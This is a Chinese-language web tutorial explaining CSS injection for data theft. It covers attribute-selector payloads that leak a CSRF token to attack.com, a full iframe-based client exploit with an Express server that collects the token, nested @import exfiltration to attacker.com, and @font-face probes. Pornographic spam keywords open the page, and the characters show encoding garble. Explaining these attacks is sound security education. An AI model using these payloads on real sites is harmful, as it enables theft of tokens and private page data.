欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

CSS injection 知識總結(jié)

  發(fā)布時(shí)間:2020-04-09 16:59:45   作者:JrXnm   我要評論
現(xiàn)代瀏覽器都已不允許在CSS中執(zhí)行JavaScript了,以前的CSS注入可以利用JavaScript協(xié)議在 url() 、 expression() 中執(zhí)行Javascript代碼從而實(shí)現(xiàn)XSS。本文主要給大家介紹CSS injection的相關(guān)知識,感興趣的朋友一起看看吧

現(xiàn)代瀏覽器都已不允許在CSS中執(zhí)行JavaScript了,以前的CSS注入可以利用JavaScript協(xié)議在 url() 、 expression() 中執(zhí)行Javascript代碼從而實(shí)現(xiàn)XSS。但是目前CSS注入在竊取數(shù)據(jù)方面仍然是非常有用的,下面分別來分析一下。

CSS 注入 竊取標(biāo)簽屬性數(shù)據(jù)

CSS中可以使用屬性選擇器,根據(jù)不同的屬性選擇標(biāo)簽。比如下面CSS選擇含有a屬性且其值為abc的p標(biāo)簽。

<style>p[a="abc"]{ color: red;}</style>
 <p a="abc">hello world</p>

屬性選擇器還可以匹配值的一些特性,比如以XXX開頭、以XXX結(jié)尾等。

利用上面的性質(zhì)我們可以用來竊取頁面標(biāo)簽屬性中的數(shù)據(jù)。比如下面當(dāng)csrfToken以某個(gè)字母開頭時(shí),就可以通過 url() 通知攻擊者,從而竊取csrfToken的第一位的值。

<style>
input[value^="0"] {
    background: url(http://attack.com/0);
}
input[value^="1"] {
    background: url(http://attack.com/1);
}
input[value^="2"] {
    background: url(http://attack.com/2);
}
...
input[value^="Y"] {
    background: url(http://attack.com/Y);
}
input[value^="Z"] {
    background: url(http://attack.com/Z);
}
</style>

<input  name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

第一位是Z,接著竊取第二位

<style>
input[value^="Z0"] {
    background: url(http://attack.com/0);
}
...
input[value^="ZZ"] {
    background: url(http://attack.com/Z);
}
</style>
<input  name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

解決hidden

當(dāng)然還有個(gè)問題, 當(dāng)標(biāo)簽 type=hidden 時(shí)瀏覽器是不允許我們設(shè)置background的,這樣就無法觸發(fā) url() 請求服務(wù)器。

解決方法之一是利用 ~ CSS的兄弟選擇器,選擇為后續(xù)所有兄弟節(jié)點(diǎn)設(shè)置background。

input[value^="Z"] ~*{
    background: url(http://attack.com/Z);
}

批量實(shí)現(xiàn)

當(dāng)然,如果位數(shù)比較短且可能性比較少我們可以將其所有都列出來,但是通常都太多了,所以我們需要利用技巧批量得到。

假設(shè)目標(biāo)存在css注入的網(wǎng)站為如下, 目標(biāo)是竊取input標(biāo)簽中的csrfToken值。

<!DOCTYPE html>
<html>
<head>
    <title>CSS injection</title>
</head>
<body>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<input type="" name="">
<style><?php echo $_GET['css']?></style>
</body>
</html>

有iframe

當(dāng)存在CSS注入的網(wǎng)站響應(yīng)頭未被 X-Frame-Options 保護(hù)時(shí), 我們可以創(chuàng)建一個(gè)惡意的頁面,利用js創(chuàng)建iframe包含該漏洞網(wǎng)站,利用css注入獲得一位csrfToken值后通過 url() 提交給服務(wù)器,服務(wù)器指示前端js繼續(xù)創(chuàng)建iframe竊取第二位值,繼續(xù)上面的操作,直到全部讀取完。當(dāng)然這要求每次請求漏洞網(wǎng)站內(nèi)容都不會(huì)變。

這里存在一個(gè)問題,服務(wù)器如何指示前端js構(gòu)造css,就像我們上面舉得例子竊取到第一位為Z, 那么第二位的payload應(yīng)該是Z開頭的。

下面的payload 來自這里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d

它的思路是前端js使用setTimeout定時(shí)請求服務(wù)器,服務(wù)器將css注入得到的token返回。

<html>
    <style>
        #frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id="current"></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        known = "";

        function test_char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^=\""
                    + values[value]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + values[value]
                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            return css_payload;
        }

        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                known = this.responseText;
                test_char(known, chars);
            } else {
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }

        test_char("", chars);
    </script>
</html>

服務(wù)器代碼是我配合它的payload寫得。

var express = require('express');
var app = express();
var path = require('path');
var token = "";

app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/client.html', function(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

還有 師傅 通過服務(wù)器將token寫入到cookie中, 定時(shí)查詢cookie是否改變來實(shí)現(xiàn)的。

還發(fā)現(xiàn)有師傅用websocket實(shí)現(xiàn)更優(yōu)雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

無 iframe

https://github.com/dxa4481/cssInjection 這里介紹了一種無iframe注入的方法。

原理也很簡單,既然不能用iframe引入漏洞頁面,那么我們可以通過 window.open 不斷開啟一個(gè)新的窗口,也就可以完成上述類似的效果。當(dāng)然這種方法得劫持用戶的點(diǎn)擊行為,否則瀏覽器會(huì)禁止開啟新窗口。

而且這篇文章還提出了無后臺服務(wù)器的方案,利用service workers 攔截客戶端請求將獲取到的token值同時(shí)存在本地localstorage中。

@import

利用 @import 在chrome中的特性,https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 這篇文章提出的這種方法。這種方法有種好處就是 不會(huì)刷新頁面就可以拿到全部token 而且不需要iframe,但壞處就是只能用在chrome中,而且根據(jù)它的特性必須在樣式標(biāo)簽頭部有注入才行。

除了常見的 <link> 標(biāo)簽引入外部樣式,css還可以通過 @import 。

@import url(http://style.com/css.css);

但是 @import 必須在樣式表頭部最先聲明,并且分號是必須的。 @import 引入的樣式表會(huì)直接替換對應(yīng)的內(nèi)聯(lián)樣式。

chrome在實(shí)現(xiàn)上述效果時(shí),在每次 @import 外部樣式表 返回后 都重新計(jì)算了一遍頁面的其他的樣式表,我們可以利用這個(gè)特性嵌套 @import 使用一個(gè)請求便獲取到整個(gè)token

這是他文章中的一個(gè)圖,很形象。

這圖假定要竊取的數(shù)據(jù)長度為3,第一次注入的css內(nèi)容為 @import url(http://attacker.com/staging); ,它返回了

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

這時(shí)頁面又要獲取 @import url(http://attacker.com/polling?len=0); 樣式表,而它返回的是竊取token的payload。

當(dāng)將已竊取數(shù)據(jù)發(fā)送到服務(wù)器后, @import url(http://attacker.com/polling?len=1); 才會(huì)響應(yīng)。響應(yīng)的是竊取的第二位數(shù)據(jù)的payload....

而且那篇文章還開源了一個(gè)工具利用這個(gè)漏洞,用起來非常簡單。

https://github.com/d0nutptr/sic

竊取標(biāo)簽content數(shù)據(jù)

竊取標(biāo)簽content數(shù)據(jù)相對來說就麻煩很多,去年xctf final就有一道題。

利用 unicode-range 猜測

根據(jù)https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html這位師傅的思路,可以通過指定 @font-face 的字體描述unicode-range,當(dāng)存在某個(gè)字符時(shí)就通知服務(wù)器。

<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

當(dāng)然這只能知道含有那些字符,而且當(dāng)字符一多就沒有意義了。不過這也是個(gè)不錯(cuò)的思路,在某些特定情況下可能有用。

利用連字(Ligature)

去年xctf師傅們的 題解 用的就是這個(gè)方法。

連字簡而言之就是幾個(gè)字符的合體字,更多自行百度。在這里我們可以自己創(chuàng)建一個(gè)字體,其中所有字符寬度設(shè)為0,將 flag 這個(gè)連字的寬度設(shè)置非常大,此時(shí)指定標(biāo)簽content中如果出現(xiàn)了flag字符串就會(huì)因?yàn)閷挾鹊脑虺霈F(xiàn)滾動(dòng)條,檢測出現(xiàn)滾動(dòng)條時(shí)用 url() 請求服務(wù)器。

這樣我們就可以不斷向后猜測了,詳細(xì)的創(chuàng)建字體、payload 這里 已經(jīng)提供了。

總結(jié)

到此這篇關(guān)于CSS injection 知識總結(jié)的文章就介紹到這了,更多相關(guān)CSS injection內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持腳本之家!

相關(guān)文章

  • 前端CSS Grid 布局示例詳解

    CSS Grid 是一種二維布局系統(tǒng),可以同時(shí)控制行和列,相比 Flex(一維布局),更適合用在整體頁面布局或復(fù)雜模塊結(jié)構(gòu)中,這篇文章主要介紹了前端CSS Grid 布局詳解,需要的朋
    2025-04-16
  • CSS Padding 和 Margin 區(qū)別全解析

    CSS 中的 padding 和 margin 是兩個(gè)非?;A(chǔ)且重要的屬性,它們用于控制元素周圍的空白區(qū)域,本文將詳細(xì)介紹 padding 和 margin 的概念、區(qū)別以及如何在實(shí)際項(xiàng)目中使用它們
    2025-04-07
  • CSS will-change 屬性示例詳解

    will-change 是一個(gè) CSS 屬性,用于告訴瀏覽器某個(gè)元素在未來可能會(huì)發(fā)生哪些變化,本文給大家介紹CSS will-change 屬性詳解,感興趣的朋友一起看看吧
    2025-04-07
  • CSS去除a標(biāo)簽的下劃線的幾種方法

    本文給大家分享在 CSS 中,去除a標(biāo)簽(超鏈接)的下劃線的幾種方法,本文給大家介紹的非常詳細(xì),感興趣的朋友一起看看吧
    2025-04-07
  • 前端高級CSS用法示例詳解

    在前端開發(fā)中,CSS(層疊樣式表)不僅是用來控制網(wǎng)頁的外觀和布局,更是實(shí)現(xiàn)復(fù)雜交互和動(dòng)態(tài)效果的關(guān)鍵技術(shù)之一,隨著前端技術(shù)的不斷發(fā)展,CSS的用法也日益豐富和高級,本文將
    2025-04-07
  • css中的 vertical-align與line-height作用詳解

    文章詳細(xì)介紹了CSS中的`vertical-align`和`line-height`屬性,包括它們的作用、適用元素、屬性值、常見使用場景、常見問題及解決方案,感興趣的朋友跟隨小編一起看看吧
    2025-03-26
  • 淺析CSS 中z - index屬性的作用及在什么情況下會(huì)失效

    z-index屬性用于控制元素的堆疊順序,值越大,元素越顯示在上層,它需要元素具有定位屬性(如relative、absolute、fixed或sticky),本文給大家介紹CSS 中z - index屬性的作用
    2025-03-21
  • CSS @media print 使用詳解

    文章詳細(xì)介紹了CSS中的打印媒體查詢@mediaprint包括基本語法、常見使用場景和代碼示例,如隱藏非必要元素、調(diào)整字體和顏色、處理鏈接的URL顯示、分頁控制、調(diào)整邊距和背景等
    2025-03-18
  • CSS模擬 html 的 title 屬性(鼠標(biāo)懸浮顯示提示文字效果)

    本文介紹了如何使用CSS模擬HTML的title屬性,通過鼠標(biāo)懸浮顯示提示文字效果,通過設(shè)置`.tipBox`和`.tipBox.tipContent`的樣式,實(shí)現(xiàn)了提示內(nèi)容的隱藏和顯示,感興趣的朋友一起
    2025-03-10
  • 前端 CSS 動(dòng)態(tài)設(shè)置樣式::class、:style 等技巧(推薦)

    本文介紹了Vue.js中動(dòng)態(tài)綁定類名和內(nèi)聯(lián)樣式的兩種方法:對象語法和數(shù)組語法,通過對象語法,可以根據(jù)條件動(dòng)態(tài)切換類名或樣式;通過數(shù)組語法,可以同時(shí)綁定多個(gè)類名或樣式,此外
    2025-02-26

最新評論